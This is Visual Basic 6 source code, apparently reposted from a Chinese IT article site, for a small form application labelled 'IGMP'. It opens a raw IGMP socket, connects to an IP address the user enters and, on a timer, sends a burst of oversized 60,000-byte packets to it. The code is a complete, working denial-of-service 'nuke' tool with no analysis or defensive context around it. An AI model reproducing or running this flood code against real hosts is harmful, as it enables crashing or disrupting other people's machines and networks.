Option Explicit
'*******************IGMP************************
Private Type SockAddr
sin_family As Integer
sin_port As Integer
sin_addr As String * 4
sin_zero As String * 8
End Type
Private Type T_WSA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To 255) As Byte
szSystemStatus(0 To 128) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As Long
End Type
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal cb&)
Private Declare Function inet_addr Lib "wsock32.dll" (ByVal addr As String) As Long
Private Declare Function WSAStartup Lib "wsock32.dll" (ByVal a As Long, b As T_WSA) As Long
Private Declare Function WSACleanUp Lib "wsock32.dll" Alias "WSACleanup" () As Integer
Private Declare Function Socket Lib "wsock32.dll" Alias "socket" (ByVal afinet As Integer, ByVal socktype As Integer, ByVal protocol As Integer) As Long
Private Declare Function ConnectWinsock Lib "wsock32.dll" Alias "connect" (ByVal sock As Long, sockstruct As SockAddr, ByVal structlen As Integer) As Integer
Private Declare Function send Lib "wsock32.dll" (ByVal sock As Long, ByVal msg As String, ByVal msglen As Long, ByVal flag As Integer) As Long
Private Declare Function htons Lib "wsock32.dll" (ByVal a As Integer) As Integer
Private Declare Function closesocket Lib "wsock32.dll" (ByVal sn As Long) As Integer
Private sock As Long
Private t As Long
Private Sub cmd_Go_Click()
If t > 0 Then
t = 0
Else
Dim addr As SockAddr
Dim x As Long
Dim ip As String
Dim y(0 To 3) As Byte
ip = ""
x = inet_addr(txt_IP.Text)
CopyMemory y(0), x, 4
For x = 0 To 3
ip = ip & Chr(y(x))
Next x
addr.sin_addr = ip
addr.sin_family = 2
addr.sin_port = htons(100)
addr.sin_zero = String(8, 0)
If ConnectWinsock(sock, addr, Len(addr)) Then
MsgBox "connect error"
Exit Sub
End If
t = 10
Set cmd_Go.Picture = Image1.Picture
Timer1.Enabled = True
End If
End Sub
Private Sub Form_Load()
Dim WSAData As T_WSA
Set cmd_Go.Picture = Image2.Picture
WSAStartup 514, WSAData
sock = Socket(2, 3, 2)
If sock < 0 Then
MsgBox "winsock error"
Unload Me
End If
t = 0
End Sub
Private Sub Form_Unload(Cancel As Integer)
closesocket sock
WSACleanUp
End Sub
Private Sub Timer1_Timer()
If t Then
send sock, String(60000, "0"), 60000, 0
t = t - 1
Else
Timer1.Enabled = False
Set cmd_Go.Picture = Image2.Picture
End If
End Sub
本文地址:http://com.8s8s.com/it/it6869.htm